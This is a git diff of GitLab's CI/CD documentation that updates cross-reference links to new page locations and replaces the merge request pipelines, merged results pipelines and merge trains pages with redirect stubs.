-Use [`rules`](../yaml/README.md#rules) to include or exclude jobs in pipelines.
+Use [`rules`](../yaml/index.md#rules) to include or exclude jobs in pipelines.
Rules are evaluated in order until the first match. When a match is found, the job
is either included or excluded from the pipeline, depending on the configuration.
-See the [`rules`](../yaml/README.md#rules) reference for more details.
+See the [`rules`](../yaml/index.md#rules) reference for more details.
Future keyword improvements are being discussed in our [epic for improving `rules`](https://gitlab.com/groups/gitlab-org/-/epics/2783),
where anyone can add suggestions or requests.
@@ -47,7 +47,7 @@ job:
```
- If the pipeline is for a merge request, the first rule matches, and the job
- is added to the [merge request pipeline](../merge_request_pipelines/index.md)
+ is added to the [merge request pipeline](../pipelines/merge_request_pipelines.md)
with attributes of:
- `when: manual` (manual job)
- `allow_failure: true` (the pipeline continues running even if the manual job is not run)
@@ -150,7 +150,7 @@ causes duplicated pipelines.
To avoid duplicate pipelines, you can:
-- Use [`workflow`](../yaml/README.md#workflow) to specify which types of pipelines
+- Use [`workflow`](../yaml/index.md#workflow) to specify which types of pipelines
can run.
- Rewrite the rules to run the job only in very specific cases,
and avoid a final `when:` rule:
@@ -179,7 +179,7 @@ job:
```
You should not include both push and merge request pipelines in the same job without
-[`workflow:rules` that prevent duplicate pipelines](../yaml/README.md#switch-between-branch-pipelines-and-merge-request-pipelines):
+[`workflow:rules` that prevent duplicate pipelines](../yaml/index.md#switch-between-branch-pipelines-and-merge-request-pipelines):
```yaml
job:
@@ -206,12 +206,12 @@ job-with-rules:
For every change pushed to the branch, duplicate pipelines run. One
branch pipeline runs a single job (`job-with-no-rules`), and one merge request pipeline
runs the other job (`job-with-rules`). Jobs with no rules default
-to [`except: merge_requests`](../yaml/README.md#only--except), so `job-with-no-rules`
+to [`except: merge_requests`](../yaml/index.md#only--except), so `job-with-no-rules`
runs in all cases except merge requests.
### Common `if` clauses for `rules`
-For behavior similar to the [`only`/`except` keywords](../yaml/README.md#only--except), you can
+For behavior similar to the [`only`/`except` keywords](../yaml/index.md#only--except), you can
check the value of the `$CI_PIPELINE_SOURCE` variable:
| Value | Description |
@@ -220,12 +220,12 @@ check the value of the `$CI_PIPELINE_SOURCE` variable:
| `chat` | For pipelines created by using a [GitLab ChatOps](../chatops/index.md) command. |
| `external` | When you use CI services other than GitLab. |
| `external_pull_request_event` | When an external pull request on GitHub is created or updated. See [Pipelines for external pull requests](../ci_cd_for_external_repos/index.md#pipelines-for-external-pull-requests). |
-| `merge_request_event` | For pipelines created when a merge request is created or updated. Required to enable [merge request pipelines](../merge_request_pipelines/index.md), [merged results pipelines](../merge_request_pipelines/pipelines_for_merged_results/index.md), and [merge trains](../merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md). |
-| `parent_pipeline` | For pipelines triggered by a [parent/child pipeline](../parent_child_pipelines.md) with `rules`. Use this pipeline source in the child pipeline configuration so that it can be triggered by the parent pipeline. |
-| `pipeline` | For [multi-project pipelines](../multi_project_pipelines.md) created by [using the API with `CI_JOB_TOKEN`](../multi_project_pipelines.md#triggering-multi-project-pipelines-through-api), or the [`trigger`](../yaml/README.md#trigger) keyword. |
+| `merge_request_event` | For pipelines created when a merge request is created or updated. Required to enable [merge request pipelines](../pipelines/merge_request_pipelines.md), [merged results pipelines](../pipelines/pipelines_for_merged_results.md), and [merge trains](../pipelines/merge_trains.md). |
+| `parent_pipeline` | For pipelines triggered by a [parent/child pipeline](../pipelines/parent_child_pipelines.md) with `rules`. Use this pipeline source in the child pipeline configuration so that it can be triggered by the parent pipeline. |
+| `pipeline` | For [multi-project pipelines](../pipelines/multi_project_pipelines.md) created by [using the API with `CI_JOB_TOKEN`](../pipelines/multi_project_pipelines.md#create-multi-project-pipelines-by-using-the-api), or the [`trigger`](../yaml/index.md#trigger) keyword. |
| `push` | For pipelines triggered by a `git push` event, including for branches and tags. |
| `schedule` | For [scheduled pipelines](../pipelines/schedules.md). |
-| `trigger` | For pipelines created by using a [trigger token](../triggers/README.md#trigger-token). |
+| `trigger` | For pipelines created by using a [trigger token](../triggers/index.md#trigger-token). |
| `web` | For pipelines created by using **Run pipeline** button in the GitLab UI, from the project's **CI/CD > Pipelines** section. |
| `webide` | For pipelines created by using the [WebIDE](../../user/project/web_ide/index.md). |
@@ -243,7 +243,7 @@ job:
- if: '$CI_PIPELINE_SOURCE == "push"'
```
-The following example runs the job as a `when: on_success` job in [merge request pipelines](../merge_request_pipelines/index.md)
+The following example runs the job as a `when: on_success` job in [merge request pipelines](../pipelines/merge_request_pipelines.md)
and scheduled pipelines. It does not run in any other pipeline type.
```yaml
@@ -263,7 +263,7 @@ Other commonly used variables for `if` clauses:
branch. Use when you want to have the same configuration in multiple
projects with different default branches.
- `if: '$CI_COMMIT_BRANCH =~ /regex-expression/'`: If the commit branch matches a regular expression.
-- `if: '$CUSTOM_VARIABLE !~ /regex-expression/'`: If the [custom variable](../variables/README.md#custom-cicd-variables)
+- `if: '$CUSTOM_VARIABLE !~ /regex-expression/'`: If the [custom variable](../variables/index.md#custom-cicd-variables)
`CUSTOM_VARIABLE` does **not** match a regular expression.
- `if: '$CUSTOM_VARIABLE == "value1"'`: If the custom variable `CUSTOM_VARIABLE` is
exactly `value1`.
@@ -292,7 +292,7 @@ You can use the `$` character for both variables and paths. For example, if the
## Specify when jobs run with `only` and `except`
-You can use [`only`](../yaml/README.md#only--except) and [`except`](../yaml/README.md#only--except)
+You can use [`only`](../yaml/index.md#only--except) and [`except`](../yaml/index.md#only--except)
to control when to add jobs to pipelines.
- Use `only` to define when a job runs.
@@ -301,12 +301,12 @@ to control when to add jobs to pipelines.
### `only:refs` / `except:refs` examples
`only` or `except` used without `refs` is the same as
-[`only:refs` / `except/refs`](../yaml/README.md#onlyrefs--exceptrefs)
+[`only:refs` / `except/refs`](../yaml/index.md#onlyrefs--exceptrefs)
In the following example, `job` runs only for:
- Git tags
-- [Triggers](../triggers/README.md#trigger-token)
+- [Triggers](../triggers/index.md#trigger-token)
- [Scheduled pipelines](../pipelines/schedules.md)
```yaml
@@ -334,7 +334,7 @@ except `main` and branches that start with `release/`.
### `only: variables` / `except: variables` examples
-You can use [`except:variables`](../yaml/README.md#onlyvariables--exceptvariables) to exclude jobs based on a commit message:
+You can use [`except:variables`](../yaml/index.md#onlyvariables--exceptvariables) to exclude jobs based on a commit message:
```yaml
end-to-end:
@@ -382,7 +382,7 @@ Read more about how to use `only:changes` and `except:changes`:
#### Use `only:changes` with pipelines for merge requests
-With [pipelines for merge requests](../merge_request_pipelines/index.md),
+With [pipelines for merge requests](../pipelines/merge_request_pipelines.md),
it's possible to define a job to be created based on files modified
in a merge request.
@@ -432,7 +432,7 @@ properly corrects any failures from previous pipelines.
#### Use `only:changes` without pipelines for merge requests
-Without [pipelines for merge requests](../merge_request_pipelines/index.md), pipelines
+Without [pipelines for merge requests](../pipelines/merge_request_pipelines.md), pipelines
run on branches or tags that don't have an explicit association with a merge request.
In this case, a previous SHA is used to calculate the diff, which is equivalent to `git diff HEAD~`.
This can result in some unexpected behavior, including:
@@ -502,16 +502,16 @@ test:
You can use [predefined CI/CD variables](../variables/predefined_variables.md) to choose
which pipeline types jobs run in, with:
-- [`rules`](../yaml/README.md#rules)
-- [`only:variables`](../yaml/README.md#onlyvariables--exceptvariables)
-- [`except:variables`](../yaml/README.md#onlyvariables--exceptvariables)
+- [`rules`](../yaml/index.md#rules)
+- [`only:variables`](../yaml/index.md#onlyvariables--exceptvariables)
+- [`except:variables`](../yaml/index.md#onlyvariables--exceptvariables)
The following table lists some of the variables that you can use, and the pipeline
types the variables can control for:
- Branch pipelines that run for Git `push` events to a branch, like new commits or tags.
- Tag pipelines that run only when a new Git tag is pushed to a branch.
-- [Merge request pipelines](../merge_request_pipelines/index.md) that run for changes
+- [Merge request pipelines](../pipelines/merge_request_pipelines.md) that run for changes
to a merge request, like new commits or selecting the **Run pipeline** button
in a merge request's pipelines tab.
- [Scheduled pipelines](../pipelines/schedules.md).
@@ -592,14 +592,14 @@ Feature.enable(:allow_unsafe_ruby_regexp)
## CI/CD variable expressions
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/37397) in GitLab 10.7 for [the `only` and `except` CI keywords](../yaml/README.md#onlyvariables--exceptvariables)
-> - [Expanded](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3 with [the `rules` keyword](../yaml/README.md#rules)
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/37397) in GitLab 10.7 for [the `only` and `except` CI keywords](../yaml/index.md#onlyvariables--exceptvariables)
+> - [Expanded](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3 with [the `rules` keyword](../yaml/index.md#rules)
Use variable expressions to control which jobs are created in a pipeline after changes
are pushed to GitLab. You can use variable expressions with:
-- [`rules:if`](../yaml/README.md#rules).
-- [`only:variables` and `except:variables`](../yaml/README.md#onlyvariables--exceptvariables).
+- [`rules:if`](../yaml/index.md#rules).
+- [`only:variables` and `except:variables`](../yaml/index.md#onlyvariables--exceptvariables).
For example, with `rules:if`:
diff --git a/doc/ci/large_repositories/index.md b/doc/ci/large_repositories/index.md
index 62e9749d959..c3b0cd79d2c 100644
--- a/doc/ci/large_repositories/index.md
+++ b/doc/ci/large_repositories/index.md
@@ -28,7 +28,7 @@ Each guideline is described in more detail in the sections below:
> Introduced in GitLab Runner 8.9.
-GitLab and GitLab Runner perform a [shallow clone](../pipelines/settings.md#git-shallow-clone)
+GitLab and GitLab Runner perform a [shallow clone](../pipelines/settings.md#limit-the-number-of-changes-fetched-during-clone)
by default.
Ideally, you should always use `GIT_DEPTH` with a small number
diff --git a/doc/ci/lint.md b/doc/ci/lint.md
index 3888a750d6a..746638442a7 100644
--- a/doc/ci/lint.md
+++ b/doc/ci/lint.md
@@ -20,7 +20,7 @@ in your project and click **CI lint**.
## Validate basic logic and syntax
By default, the CI lint checks the syntax of your CI YAML configuration and also runs
-some basic logical validations. Configuration added with the [`includes` keyword](yaml/README.md#include),
+some basic logical validations. Configuration added with the [`includes` keyword](yaml/index.md#include),
is also validated.
To use the CI lint, paste a complete CI configuration (`.gitlab-ci.yml` for example)
diff --git a/doc/ci/merge_request_pipelines/img/merge_request.png b/doc/ci/merge_request_pipelines/img/merge_request.png
deleted file mode 100644
index bb64e17cc91..00000000000
--- a/doc/ci/merge_request_pipelines/img/merge_request.png
+++ /dev/null
Binary files differ
diff --git a/doc/ci/merge_request_pipelines/index.md b/doc/ci/merge_request_pipelines/index.md
index 1866b40093a..c852800d0a9 100644
--- a/doc/ci/merge_request_pipelines/index.md
+++ b/doc/ci/merge_request_pipelines/index.md
@@ -1,237 +1,8 @@
---
-stage: Verify
-group: Pipeline Execution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
-type: reference, index
-last_update: 2019-07-03
+redirect_to: '../pipelines/merge_request_pipelines.md'
---
-# Pipelines for Merge Requests
+This document was moved to [another location](../pipelines/merge_request_pipelines.md).
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/15310) in GitLab 11.6.
-
-In a [basic configuration](../pipelines/pipeline_architectures.md#basic-pipelines), GitLab runs a pipeline each time
-changes are pushed to a branch.
-
-If you want the pipeline to run jobs **only** on commits to a branch that is associated with a merge request,
-you can use *pipelines for merge requests*.
-
-In the UI, these pipelines are labeled as `detached`. Otherwise, these pipelines appear the same
-as other pipelines.
-
-Pipelines for merge requests can run when you:
-
-- Create a new merge request.
-- Commit changes to the source branch for the merge request.
-- Select the **Run pipeline** button from the **Pipelines** tab in the merge request.
-
-Any user who has developer [permissions](../../user/permissions.md)
-can run a pipeline for merge requests.
-
-![Merge request page](img/merge_request.png)
-
-If you use this feature with [merge when pipeline succeeds](../../user/project/merge_requests/merge_when_pipeline_succeeds.md),
-pipelines for merge requests take precedence over the other regular pipelines.
-
-## Prerequisites
-
-To enable pipelines for merge requests:
-
-- Your repository must be a GitLab repository, not an
- [external repository](../ci_cd_for_external_repos/index.md).
-- [In GitLab 11.10 and later](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/25504),
- you must be using GitLab Runner 11.9.
-
-## Configuring pipelines for merge requests
-
-To configure pipelines for merge requests you need to configure your [CI/CD configuration file](../yaml/README.md).
-There are a few different ways to do this:
-
-### Use `rules` to run pipelines for merge requests
-
-When using `rules`, which is the preferred method, we recommend starting with one
-of the [`workflow:rules` templates](../yaml/README.md#workflowrules-templates) to ensure
-your basic configuration is correct. Instructions on how to do this, as well as how
-to customize, are available at that link.
-
-### Use `only` or `except` to run pipelines for merge requests
-
-If you want to continue using `only/except`, this is possible but please review the drawbacks
-below.
-
-When you use this method, you have to specify `only: - merge_requests` for each job. In this
-example, the pipeline contains a `test` job that is configured to run on merge requests.
-
-The `build` and `deploy` jobs don't have the `only: - merge_requests` keyword,
-so they don't run on merge requests.
-
-```yaml
-build:
- stage: build
- script: ./build
- only:
- - main
-
-test:
- stage: test
- script: ./test
- only:
- - merge_requests
-
-deploy:
- stage: deploy
- script: ./deploy
- only:
- - main
-```
-
-#### Excluding certain jobs
-
-The behavior of the `only: [merge_requests]` keyword is such that _only_ jobs with
-that keyword are run in the context of a merge request; no other jobs run.
-
-However, you can invert this behavior and have all of your jobs run _except_
-for one or two.
-
-Consider the following pipeline, with jobs `A`, `B`, and `C`. Imagine you want:
-
-- All pipelines to always run `A` and `B`.
-- `C` to run only for merge requests.
-
-To achieve this, you can configure your `.gitlab-ci.yml` file as follows:
-
-```yaml
-.only-default: &only-default
- only:
- - main
- - merge_requests
- - tags
-
-A:
- <<: *only-default
- script:
- - ...
-
-B:
- <<: *only-default
- script:
- - ...
-
-C:
- script:
- - ...
- only:
- - merge_requests
-```
-
-Therefore:
-
-- Since `A` and `B` are getting the `only:` rule to execute in all cases, they always run.
-- Since `C` specifies that it should only run for merge requests, it doesn't run for any pipeline
- except a merge request pipeline.
-
-This helps you avoid having to add the `only:` rule to all of your jobs to make
-them always run. You can use this format to set up a Review App, helping to
-save resources.
-
-#### Excluding certain branches
-
-Pipelines for merge requests require special treatment when
-using [`only`/`except`](../yaml/README.md#only--except). Unlike ordinary
-branch refs (for example `refs/heads/my-feature-branch`), merge request refs
-use a special Git reference that looks like `refs/merge-requests/:iid/head`. Because
-of this, the following configuration will **not** work as expected:
-
-```yaml
-# Does not exclude a branch named "docs-my-fix"!
-test:
- only: [merge_requests]
- except: [/^docs-/]
-```
-
-Instead, you can use the
-[`$CI_COMMIT_REF_NAME` predefined environment
-variable](../variables/predefined_variables.md) in
-combination with
-[`only:variables`](../yaml/README.md#onlyvariables--exceptvariables) to
-accomplish this behavior:
-
-```yaml
-test:
- only: [merge_requests]
- except:
- variables:
- - $CI_COMMIT_REF_NAME =~ /^docs-/
-```
-
-## Pipelines for Merged Results **(PREMIUM)**
-
-Read the [documentation on Pipelines for Merged Results](pipelines_for_merged_results/index.md).
-
-### Merge Trains **(PREMIUM)**
-
-Read the [documentation on Merge Trains](pipelines_for_merged_results/merge_trains/index.md).
-
-## Run pipelines in the parent project for merge requests from a forked project **(PREMIUM)**
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217451) in GitLab 13.3.
-> - [Moved](https://about.gitlab.com/blog/2021/01/26/new-gitlab-product-subscription-model/) to GitLab Premium in 13.9.
-
-By default, external contributors working from forks can't create pipelines in the
-parent project. When a pipeline for merge requests is triggered by a merge request
-coming from a fork:
-
-- It's created and runs in the fork (source) project, not the parent (target) project.
-- It uses the fork project's CI/CD configuration and resources.
-
-If a pipeline runs in a fork, the **fork** icon appears for the pipeline in the merge request.
-
-![Pipeline ran in fork](img/pipeline-fork_v13_7.png)
-
-Sometimes parent project members want the pipeline to run in the parent
-project. This could be to ensure that the post-merge pipeline passes in the parent project.
-For example, a fork project could try to use a corrupted runner that doesn't execute
-test scripts properly, but reports a passed pipeline. Reviewers in the parent project
-could mistakenly trust the merge request because it passed a faked pipeline.
-
-Parent project members with at least [Developer permissions](../../user/permissions.md)
-can create pipelines in the parent project for merge requests
-from a forked project. In the merge request, go to the **Pipelines** and click
-**Run pipeline** button.
-
-WARNING:
-Fork merge requests could contain malicious code that tries to steal secrets in the
-parent project when the pipeline runs, even before merge. Reviewers must carefully
-check the changes in the merge request before triggering the pipeline. GitLab shows
-a warning that must be accepted before the pipeline can be triggered.
-
-## Additional predefined variables
-
-By using pipelines for merge requests, GitLab exposes additional predefined variables to the pipeline jobs.
-Those variables contain information of the associated merge request, so that it's useful
-to integrate your job with [GitLab Merge Request API](../../api/merge_requests.md).
-
-You can find the list of available variables in [the reference sheet](../variables/predefined_variables.md).
-The variable names begin with the `CI_MERGE_REQUEST_` prefix.
-
-## Troubleshooting
-
-### Two pipelines created when pushing to a merge request
-
-If you are experiencing duplicated pipelines when using `rules`, take a look at
-the [important differences between `rules` and `only`/`except`](../jobs/job_control.md#avoid-duplicate-pipelines),
-which helps you get your starting configuration correct.
-
-If you are seeing two pipelines when using `only/except`, please see the caveats
-related to using `only/except` above (or, consider moving to `rules`).
-
-In [GitLab 13.7](https://gitlab.com/gitlab-org/gitlab/-/issues/201845) and later,
-you can add `workflow:rules` to [switch from branch pipelines to merge request pipelines](../yaml/README.md#switch-between-branch-pipelines-and-merge-request-pipelines)
-after a merge request is open on the branch.
-
-### Two pipelines created when pushing an invalid CI configuration file
-
-Pushing to a branch with an invalid CI configuration file can trigger
-the creation of two types of failed pipelines. One pipeline is a failed merge request
-pipeline, and the other is a failed branch pipeline, but both are caused by the same
-invalid configuration.
+<!-- This redirect file can be deleted after 2021-09-29. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md
index 552c007c70d..76a79ba1356 100644
--- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md
+++ b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md
@@ -1,135 +1,8 @@
---
-stage: Verify
-group: Pipeline Execution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
-type: reference
-last_update: 2019-07-03
+redirect_to: '../../pipelines/pipelines_for_merged_results.md'
---
-# Pipelines for Merged Results **(PREMIUM)**
+This document was moved to [another location](../../pipelines/pipelines_for_merged_results.md).
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7380) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.10.
-
-When you submit a merge request, you are requesting to merge changes from a
-source branch into a target branch. By default, the CI pipeline runs jobs
-against the source branch.
-
-With *pipelines for merged results*, the pipeline runs as if the changes from
-the source branch have already been merged into the target branch. The commit shown for the pipeline does not exist on the source or target branches but represents the combined target and source branches.
-
-![Merge request widget for merged results pipeline](img/merged_result_pipeline.png)
-
-If the pipeline fails due to a problem in the target branch, you can wait until the
-target is fixed and re-run the pipeline.
-This new pipeline runs as if the source is merged with the updated target, and you
-don't need to rebase.
-
-The pipeline does not automatically run when the target branch changes. Only changes
-to the source branch trigger a new pipeline. If a long time has passed since the last successful
-pipeline, you may want to re-run it before merge, to ensure that the source changes
-can still be successfully merged into the target.
-
-When the merge request can't be merged, the pipeline runs against the source branch only. For example, when:
-
-- The target branch has changes that conflict with the changes in the source branch.
-- The merge request is a [**Draft** merge request](../../../user/project/merge_requests/drafts.md).
-
-In these cases, the pipeline runs as a [pipeline for merge requests](../index.md)
-and is labeled as `detached`. If these cases no longer exist, new pipelines
-again run against the merged results.
-
-Any user who has developer [permissions](../../../user/permissions.md) can run a
-pipeline for merged results.
-
-## Prerequisites
-
-To enable pipelines for merge results:
-
-- You must have the [Maintainer role](../../../user/permissions.md).
-- You must be using [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner) 11.9 or later.
-- You must not be using
- [fast forward merges](../../../user/project/merge_requests/fast_forward_merge.md) yet.
- To follow progress, see [#58226](https://gitlab.com/gitlab-org/gitlab/-/issues/26996).
-- Your repository must be a GitLab repository, not an
- [external repository](../../ci_cd_for_external_repos/index.md).
-
-## Enable pipelines for merged results
-
-To enable pipelines for merged results for your project:
-
-1. [Configure your CI/CD configuration file](../index.md#configuring-pipelines-for-merge-requests)
- so that the pipeline or individual jobs run for merge requests.
-1. Visit your project's **Settings > General** and expand **Merge requests**.
-1. Check **Enable merged results pipelines**.
-1. Click **Save changes**.
-
-WARNING:
-If you select the check box but don't configure your CI/CD to use
-pipelines for merge requests, your merge requests may become stuck in an
-unresolved state or your pipelines may be dropped.
-
-## Using Merge Trains
-
-When you enable [Pipelines for merged results](#pipelines-for-merged-results),
-GitLab [automatically displays](merge_trains/index.md#add-a-merge-request-to-a-merge-train)
-a **Start/Add Merge Train button**.
-
-Generally, this is a safer option than merging merge requests immediately, because your
-merge request is evaluated with an expected post-merge result before the actual
-merge happens.
-
-For more information, read the [documentation on Merge Trains](merge_trains/index.md).
-
-## Automatic pipeline cancellation
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12996) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.3.
-
-GitLab CI/CD can detect the presence of redundant pipelines, and cancels them
-to conserve CI resources.
-
-When a user merges a merge request immediately within an ongoing merge
-train, the train is reconstructed, because it recreates the expected
-post-merge commit and pipeline. In this case, the merge train may already
-have pipelines running against the previous expected post-merge commit.
-These pipelines are considered redundant and are automatically
-canceled.
-
-## Troubleshooting
-
-### Pipelines for merged results not created even with new change pushed to merge request
-
-Can be caused by some disabled feature flags. Please make sure that
-the following feature flags are enabled on your GitLab instance:
-
-- `:merge_ref_auto_sync`
-
-To check and set these feature flag values, please ask an administrator to:
-
-1. Log into the Rails console of the GitLab instance:
-
- ```shell
- sudo gitlab-rails console
- ```
-
-1. Check if the flags are enabled or not:
-
- ```ruby
- Feature.enabled?(:merge_ref_auto_sync)
- ```
-
-1. If needed, enable the feature flags:
-
- ```ruby
- Feature.enable(:merge_ref_auto_sync)
- ```
-
-### Intermittently pipelines fail by `fatal: reference is not a tree:` error
-
-Since pipelines for merged results are a run on a merge ref of a merge request
-(`refs/merge-requests/<iid>/merge`), the Git reference could be overwritten at an
-unexpected timing. For example, when a source or target branch is advanced.
-In this case, the pipeline fails because of `fatal: reference is not a tree:` error,
-which indicates that the checkout-SHA is not found in the merge ref.
-
-This behavior was improved at GitLab 12.4 by introducing [Persistent pipeline refs](../../troubleshooting.md#fatal-reference-is-not-a-tree-error).
-You should be able to create pipelines at any timings without concerning the error.
+<!-- This redirect file can be deleted after 2021-09-29. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md
index 7f237655593..8b2316fd340 100644
--- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md
+++ b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md
@@ -1,236 +1,8 @@
---
-stage: Verify
-group: Pipeline Execution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
-type: reference
-last_update: 2019-07-03
+redirect_to: '../../../pipelines/merge_trains.md'
---
-# Merge Trains **(PREMIUM)**
+This document was moved to [another location](../../../pipelines/merge_trains.md).
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9186) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.0.
-> - [Squash and merge](../../../../user/project/merge_requests/squash_and_merge.md) support [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13001) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.6.
-
-For more information about why you might want to use Merge Trains, read [How merge trains keep your master green](https://about.gitlab.com/blog/2020/01/30/all-aboard-merge-trains/).
-
-When [pipelines for merged results](../index.md#pipelines-for-merged-results) are
-enabled, the pipeline jobs run as if the changes from your source branch have already
-been merged into the target branch.
-
-However, the target branch may be changing rapidly. When you're ready to merge,
-if you haven't run the pipeline in a while, the target branch may have already changed.
-Merging now could introduce breaking changes.
-
-*Merge trains* can prevent this from happening. A merge train is a queued list of merge
-requests, each waiting to be merged into the target branch.
-
-Many merge requests can be added to the train. Each merge request runs its own merged results pipeline,
-which includes the changes from all of the other merge requests in *front* of it on the train.
-All the pipelines run in parallel, to save time.
-
-If the pipeline for a merge request fails, the breaking changes are not merged, and the target
-branch is unaffected. The merge request is removed from the train, and all pipelines behind it restart.
-
-If the pipeline for the merge request at the front of the train completes successfully,
-the changes are merged into the target branch, and the other pipelines continue to
-run.
-
-To add a merge request to a merge train, you need [permissions](../../../../user/permissions.md) to push to the target branch.
-
-Each merge train can run a maximum of **twenty** pipelines in parallel.
-If more than twenty merge requests are added to the merge train, the merge requests
-are queued until a slot in the merge train is free. There is no limit to the
-number of merge requests that can be queued.
-
-## Merge train example
-
-Three merge requests (`A`, `B` and `C`) are added to a merge train in order, which
-creates three merged results pipelines that run in parallel:
-
-1. The first pipeline runs on the changes from `A` combined with the target branch.
-1. The second pipeline runs on the changes from `A` and `B` combined with the target branch.
-1. The third pipeline runs on the changes from `A`, `B`, and `C` combined with the target branch.
-
-If the pipeline for `B` fails, it is removed from the train. The pipeline for
-`C` restarts with the `A` and `C` changes, but without the `B` changes.
-
-If `A` then completes successfully, it merges into the target branch, and `C` continues
-to run. If more merge requests are added to the train, they now include the `A`
-changes that are included in the target branch, and the `C` changes that are from
-the merge request already in the train.
-
-Read more about [how merge trains keep your master green](https://about.gitlab.com/blog/2020/01/30/all-aboard-merge-trains/).
-
-<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
-Watch this video for a demonstration on [how parallel execution
-of Merge Trains can prevent commits from breaking the default
-branch](https://www.youtube.com/watch?v=D4qCqXgZkHQ).
-
-## Prerequisites
-
-To enable merge trains:
-
-- You must have the [Maintainer role](../../../../user/permissions.md).
-- You must be using [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner) 11.9 or later.
-- In GitLab 13.0 and later, you need [Redis](https://redis.io/) 5.0 or later.
-- Your repository must be a GitLab repository, not an
- [external repository](../../../ci_cd_for_external_repos/index.md).
-
-## Enable merge trains
-
-To enable merge trains for your project:
-
-1. If you are on a self-managed GitLab instance, ensure the [feature flag](#merge-trains-feature-flag) is set correctly.
-1. [Configure your CI/CD configuration file](../../index.md#configuring-pipelines-for-merge-requests)
- so that the pipeline or individual jobs run for merge requests.
-1. Visit your project's **Settings > General** and expand **Merge requests**.
-1. In the **Merge method** section, verify that **Merge commit** is selected.
- You cannot use **Merge commit with semi-linear history** or **Fast-forward merge** with merge trains.
-1. In the **Merge options** section, select **Enable merged results pipelines.** (if not already selected) and **Enable merge trains.**
-1. Click **Save changes**
-
-In GitLab 13.5 and earlier, there is only one checkbox, named
-**Enable merge trains and pipelines for merged results**.
-
-WARNING:
-If you select the check box but don't configure your CI/CD to use
-pipelines for merge requests, your merge requests may become stuck in an
-unresolved state or your pipelines may be dropped.
-
-## Start a merge train
-
-To start a merge train:
-
-1. Visit a merge request.
-1. Click the **Start merge train** button.
-
-![Start merge train](img/merge_train_start_v12_0.png)
-
-Other merge requests can now be added to the train.
-
-## Add a merge request to a merge train
-
-To add a merge request to a merge train:
-
-1. Visit a merge request.
-1. Click the **Add to merge train** button.
-
-If pipelines are already running for the merge request, you cannot add the merge request
-to the train. Instead, you can schedule to add the merge request to a merge train **when the latest
-pipeline succeeds**.
-
-![Add to merge train when pipeline succeeds](img/merge_train_start_when_pipeline_succeeds_v12_0.png)
-
-## Remove a merge request from a merge train
-
-1. Visit a merge request.
-1. Click the **Remove from merge train** button.
-
-![Cancel merge train](img/merge_train_cancel_v12_0.png)
-
-If you want to add the merge request to a merge train again later, you can.
-
-## View a merge request's current position on the merge train
-
-After a merge request has been added to the merge train, the merge request's
-current position is displayed under the pipeline widget:
-
-![Merge train position indicator](img/merge_train_position_v12_0.png)
-
-## Immediately merge a merge request with a merge train
-
-If you have a high-priority merge request (for example, a critical patch) that must
-be merged urgently, you can bypass the merge train by using the **Merge Immediately** option.
-This is the fastest option to get the change merged into the target branch.
-
-![Merge Immediately](img/merge_train_immediate_merge_v12_6.png)
-
-WARNING:
-Each time you merge a merge request immediately, the current merge train
-is recreated and all pipelines restart.
-
-## Troubleshooting
-
-### Merge request dropped from the merge train immediately
-
-If a merge request is not mergeable (for example, it's a draft merge request, there is a merge
-conflict, etc.), your merge request is dropped from the merge train automatically.
-
-In these cases, the reason for dropping the merge request is in the **system notes**.
-
-To check the reason:
-
-1. Open the merge request that was dropped from the merge train.
-1. Open the **Discussion** tab.
-1. Find a system note that includes either:
- - The text **... removed this merge request from the merge train because ...**
- - **... aborted this merge request from the merge train because ...**
- The reason is given in the text after the **because ...** phrase.
-
-![Merge Train Failure](img/merge_train_failure.png)
-
-### Merge When Pipeline Succeeds cannot be chosen
-
-[Merge When Pipeline Succeeds](../../../../user/project/merge_requests/merge_when_pipeline_succeeds.md)
-is currently unavailable when Merge Trains are enabled.
-
-See [the related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/12267)
-for more information.
-
-### Merge Train Pipeline cannot be retried
-
-When a pipeline for merge trains fails the merge request is dropped from the train and the pipeline can't be retried.
-Pipelines for merge trains run on the merged result of the changes in the merge request and
-the changes from other merge requests already on the train. If the merge request is dropped from the train,
-the merged result is out of date and the pipeline can't be retried.
-
-Instead, you should [add the merge request to the train](#add-a-merge-request-to-a-merge-train)
-again, which triggers a new pipeline.
-
-### Unable to add to merge train with message "The pipeline for this merge request failed."
-
